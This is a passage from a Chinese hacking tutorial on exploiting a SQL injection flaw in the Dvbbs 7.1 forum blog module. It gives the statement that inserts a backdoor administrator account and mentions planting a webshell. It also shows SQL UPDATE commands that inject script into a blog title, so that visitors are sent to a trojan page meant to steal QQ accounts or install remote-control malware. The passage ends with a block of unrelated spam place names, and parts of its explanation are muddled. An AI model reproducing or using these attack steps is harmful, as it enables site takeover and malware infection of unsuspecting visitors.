             (' xiaoyao' , '49ba59abbe56e057' , '1,2,3,4,5,6,7,8,9,10,11,12,1
            3,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,3
            3,34,35,36,37' , ' Andyower' )

命令執(zhí)行后,即可在dv_admin表中添加一條新記錄,用戶名xiaoyao即可被添加到后臺管理員用戶列表中了,后臺登錄密碼是“123456”。

5.注入與跨站組合攻擊

另外,也可以直接運行“動網(wǎng)論壇7.1博客程序注入漏洞利用工具SQL版”,直接破解管理員的密碼,方法與Access版是一樣的。

可以看到,在SQL版漏洞利用工具下方有一個“SQL語句”的輸入框,在其中可以輸入SQL語句并執(zhí)行,比如可以通過SQL語句讀取注冊中保存的網(wǎng)站路徑,并可用數(shù)據(jù)庫備份的方式在服務器中寫入一個Webshell。這里簡單地講一講如何進行跨站攻擊。

首先,需要準備一個木馬網(wǎng)頁,這個網(wǎng)頁木馬可以用來盜QQ號,也可以直接種植遠程控制木馬,這里為了清楚地演示攻擊利用過程,就假設“www.sina.com.cn”為一個木馬網(wǎng)頁。在“SQL語句”輸入框中輸入如下語句(圖30):

            update dv_boke_user set BokeTitle=BokeTitle+' <script>window.
            open("www.baidu.com"); </script>' where username=' admin'

圖30 插入跨站攻擊代碼

整條語句表示,更新用戶名為“admin”的博客網(wǎng)頁標題,標題的內容是一條ASP語句,可以彈出一個IE窗口。其中“<script>windows.open(' ' www.baidu.com' ' )</script>”語句是用來彈出一個IE窗口的,實際使用中可以將“http://www.baidu.com”更換為網(wǎng)頁木馬地址。用戶名“xiaoyao”可以換成任意想要更改標題的博客用戶名。

將SQL語句執(zhí)行后,會彈出提示,確認后,再次打開目標論壇中管理員“admin”的博客頁面時,會自動彈出一個新窗口,這個新窗口中顯示的頁面就是百度網(wǎng)頁;如果將代碼中的百度鏈接地址換成網(wǎng)頁木馬地址,那么彈出的新窗口將會是這個木馬網(wǎng)頁。只要有人瀏覽管理員的博客,就會被木馬攻擊。

不過,由于在Windows SP2中IE瀏覽器會自動彈截彈出窗口,因此也可以用其他的代碼進行跨站,如可將代碼改為

            update dv_boke_user set BokeTitle=BokeTitle+' <script>window.
            location.href("http://www.sina.com.cn"); </script>' where
            bokename=' xiaoyao' ;

這里使用的是“window.location.href()”函數(shù),代碼的效果是當有用戶打開此博客時,會自動轉向到木馬網(wǎng)頁,不用彈出一個新窗口,因此成功的機率會高許多。

主站蜘蛛池模板: 游戏| 益阳市| 隆德县| 浦江县| 莒南县| 霍州市| 青铜峡市| 定日县| 东明县| 门头沟区| 普宁市| 华蓥市| 长垣县| 盐池县| 关岭| 神木县| 景洪市| 宣恩县| 星座| 安国市| 奉贤区| 扎囊县| 慈溪市| 博客| 柞水县| 沁阳市| 峨边| 钟祥市| 江陵县| 大姚县| 平江县| 巴塘县| 武义县| 南宁市| 会同县| 犍为县| 肃北| 吴桥县| 许昌县| 读书| 融水|